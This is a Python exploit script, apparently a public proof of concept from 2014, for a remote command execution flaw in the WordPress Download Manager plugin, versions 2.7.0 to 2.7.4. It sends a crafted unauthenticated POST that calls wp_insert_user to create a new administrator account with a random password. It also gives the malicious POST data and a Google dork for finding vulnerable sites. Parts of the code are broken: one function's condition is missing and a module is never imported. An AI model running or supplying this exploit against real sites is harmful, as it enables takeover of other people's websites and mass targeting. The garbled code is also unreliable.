#!/usr/bin/python # # Exploit Name: Wordpress Download Manager 2.7.0-2.7.4 Remote Command Execution # # Vulnerability discovered by SUCURI TEAM (http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html) # # Exploit written by Claudio Viviani # # # 2014-12-03:  Discovered vulnerability # 2014-12-04:  Patch released (2.7.5) # # Video Demo: https://www.youtube.com/watch?v=rIhF03ixXFk # # -------------------------------------------------------------------- # # The vulnerable function is located on "/download-manager/wpdm-core.php" file: # # function wpdm_ajax_call_exec() # { #    if (isset($_POST['action']) && $_POST['action'] == 'wpdm_ajax_call') { #         if (function_exists($_POST['execute'])) #             call_user_func($_POST['execute'], $_POST); #         else #             echo "function not defined!"; #         die(); #     } # } # # Any user from any post/page can call wpdm_ajax_call_exec() function (wp hook). # wpdm_ajax_call_exec() call functions by call_user_func() through POST data: # #         if (function_exists($_POST['execute'])) #             call_user_func($_POST['execute'], $_POST); #         else #         ... #         ... #         ... # # $_POST data needs to be an array # # # The wordpress function wp_insert_user is perfect: # # # Description # # Insert a user into the database. # # Usage # # <?php wp_insert_user( $userdata ); ?> # # Parameters # # $userdata #     (mixed) (required) An array of user data, stdClass or WP_User object. #        Default: None # # # # Evil POST Data (Add new Wordpress Administrator): # # action=wpdm_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator # # --------------------------------------------------------------------- # # Dork google:  index of "wordpress-download" # # Tested on Wordpress Download Manager from 2.7.0 to 2.7.4 version with BackBox 3.x and python 2.6 # # Http connection import urllib, urllib2, socket # import sys # String manipulator import string, random # Args management import optparse    # Check url def checkurl(url):         sys.exit(1)     else:         return url    # Check if file exists and has readable def checkfile(file):     if not os.path.isfile(file) and not os.access(file, os.R_OK):         print '[X] '+file+' file is missing or not readable'        sys.exit(1)     else:         return file   def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):     return ''.join(random.choice(chars) for _ in range(size))    banner = """     ___ ___               __    |   Y   .-----.----.--|  .-----.----.-----.-----.-----.    |.  |   |  _  |   _|  _  |  _  |   _|  -__|__ --|__ --|    |. / \  |_____|__| |_____|   __|__| |_____|_____|_____|    |:      |    ______      |__|              __                __    |::.|:. |   |   _  \ .-----.--.--.--.-----|  .-----.---.-.--|  |    `--- ---'   |.  |   \|  _  |  |  |  |     |  |  _  |  _  |  _  |                |.  |    |_____|________|__|__|__|_____|___._|_____|                |:  1    /   ___ ___                |::.. . /   |   Y   .---.-.-----.---.-.-----.-----.----.                `------'    |.      |  _  |     |  _  |  _  |  -__|   _|                            |. \_/  |___._|__|__|___._|___  |_____|__|                            |:  |   |                 |_____|                            |::.|:. |                            `--- ---'                                                    Wordpress Download Manager                                                       R3m0t3 C0d3 Ex3cut10n                                                          (Add WP Admin)                                                           v2.7.0-2.7.4                                   Written by:                                 Claudio Viviani                                    info@homelab.it                          homelabit@protonmail.ch                        https://plus.google.com/+HomelabIt1/ """   commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]') commandList.add_option('-t', '--target', action="store",                   help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",                   ) commandList.add_option('--timeout', action="store", default=10, type="int",                   help="[Timeout Value] - Default 10",                   )    options, remainder = commandList.parse_args()    # Check args if not options.target:     print(banner)     commandList.print_help()     sys.exit(1)    host = checkurl(options.target) timeout = options.timeout    print(banner)    socket.setdefaulttimeout(timeout)    username = id_generator() pwd = id_generator()    body = urllib.urlencode({'action' : 'wpdm_ajax_call',                          'execute' : 'wp_insert_user',                          'user_login' : username,                          'user_pass' : pwd,                          'role' : 'administrator'})    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}    print "[+] Tryng to connect to: "+host try:     req = urllib2.Request(host+"/", body, headers)     response = urllib2.urlopen(req)     html = response.read()        if html == "":        print("[!] Account Added")        print("[!] Location: "+host+"/wp-login.php")        print("[!] Username: "+username)        print("[!] Password: "+pwd)     else:        print("[X] Exploitation Failed :(")    except urllib2.HTTPError as e:     print("[X] "+str(e)) except urllib2.URLError as e:     print("[X] Connection Error: "+str(e))